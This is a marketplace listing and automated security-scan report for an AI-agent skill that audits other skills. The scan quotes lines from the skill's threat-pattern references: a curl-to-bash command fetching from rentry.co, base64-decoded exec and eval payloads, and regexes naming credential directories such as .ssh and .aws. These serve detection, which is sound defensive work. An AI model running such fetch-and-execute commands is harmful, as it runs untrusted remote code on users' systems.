Skip to content
TrustedSkillsbeta
Back to all skills

Skill Security Audit

Listed
smartchainark·vlatest·security·MIT

Helps with security, auditing as part of implementing security and authentication workflows.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add smartchainark/skill-security-audit --skill skill-security-audit -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

smartchainark

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 4 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: evil.com, rentry.co.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    rentry.coundeclaredevil.comundeclared

    What it found (3 of 4)

    • README.md:69contacts rentry.co
      > curl -s https://rentry.co/raw/xxxxx | bash
    • blog-post.md:62contacts rentry.co
      curl -s https://rentry.co/raw/xxxxx | bash
    • references/threat-patterns.md:20contacts rentry.co
      curl -s https://rentry.co/raw/xxxxx | bash

  • No obfuscated payloads: failed

    Contains 3 obfuscated or encoded payload patterns.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • blog-post.md:72exec of a base64-decoded payload
      exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwg..."))
    • references/threat-patterns.md:42exec of a base64-decoded payload
      exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwg..."))
    • references/threat-patterns.md:46eval of a base64-decoded string
      eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgp..."))

  • No credential access: failed

    Touches credential material in 4 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found (3 of 4)

    • scripts/skill_audit.py:337GnuPG private keyring
      (re.compile(r'(\.ssh|\.aws|\.gnupg|\.config|\.env)', re.IGNORECASE), None, None),  # handled below
    • scripts/skill_audit.py:340Google Cloud credentials
      _sensitive_dir_pattern = re.compile(r'(\.ssh|\.aws|\.gnupg|\.kube|\.config/gcloud|\.npmrc|\.pypirc)')
    • scripts/skill_audit.py:340GnuPG private keyring
      _sensitive_dir_pattern = re.compile(r'(\.ssh|\.aws|\.gnupg|\.kube|\.config/gcloud|\.npmrc|\.pypirc)')

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 5 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found (3 of 5)

    • README.md:69remote script piped into a shell
      > curl -s https://rentry.co/raw/xxxxx | bash
    • blog-post.md:62remote script piped into a shell
      curl -s https://rentry.co/raw/xxxxx | bash
    • references/threat-patterns.md:20remote script piped into a shell
      curl -s https://rentry.co/raw/xxxxx | bash

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • Pinned to a commit: passed

    Scanned smartchainark/skill-security-audit at 36a67f8f75.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
36a67f8f75
Manifest
SKILL.md
Scanned
9 files, 1,963 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

The skill-security-audit skill enables AI agents to perform comprehensive security assessments on codebases, configurations, and infrastructure. It identifies vulnerabilities, enforces compliance standards, and generates actionable remediation reports for developers and DevOps teams.

When to use it

  • Before deploying critical applications to production environments to prevent data breaches.
  • During the CI/CD pipeline integration to automatically block insecure code commits.
  • When preparing for third-party security audits or regulatory compliance checks.
  • To continuously monitor legacy systems for outdated dependencies and misconfigurations.

Key capabilities

  • Automated vulnerability scanning across multiple file types and languages.
  • Identification of common security flaws such as SQL injection, XSS, and hardcoded secrets.
  • Generation of detailed audit reports with severity ratings and fix recommendations.
  • Support for industry-standard frameworks like OWASP Top 10 and NIST guidelines.

Example prompts

  • "Run a full security audit on the src/auth directory and list all high-severity vulnerabilities found."
  • "Analyze our current cloud infrastructure configuration against CIS benchmarks and provide a compliance score."
  • "Scan the latest commit for exposed API keys or sensitive credentials and suggest immediate rotation steps."

Tips & gotchas

Ensure the AI agent has read-only access to the target repositories to avoid accidental modifications during scanning. For large monorepos, consider breaking the audit into smaller, context-specific requests to maintain accuracy and reduce token usage.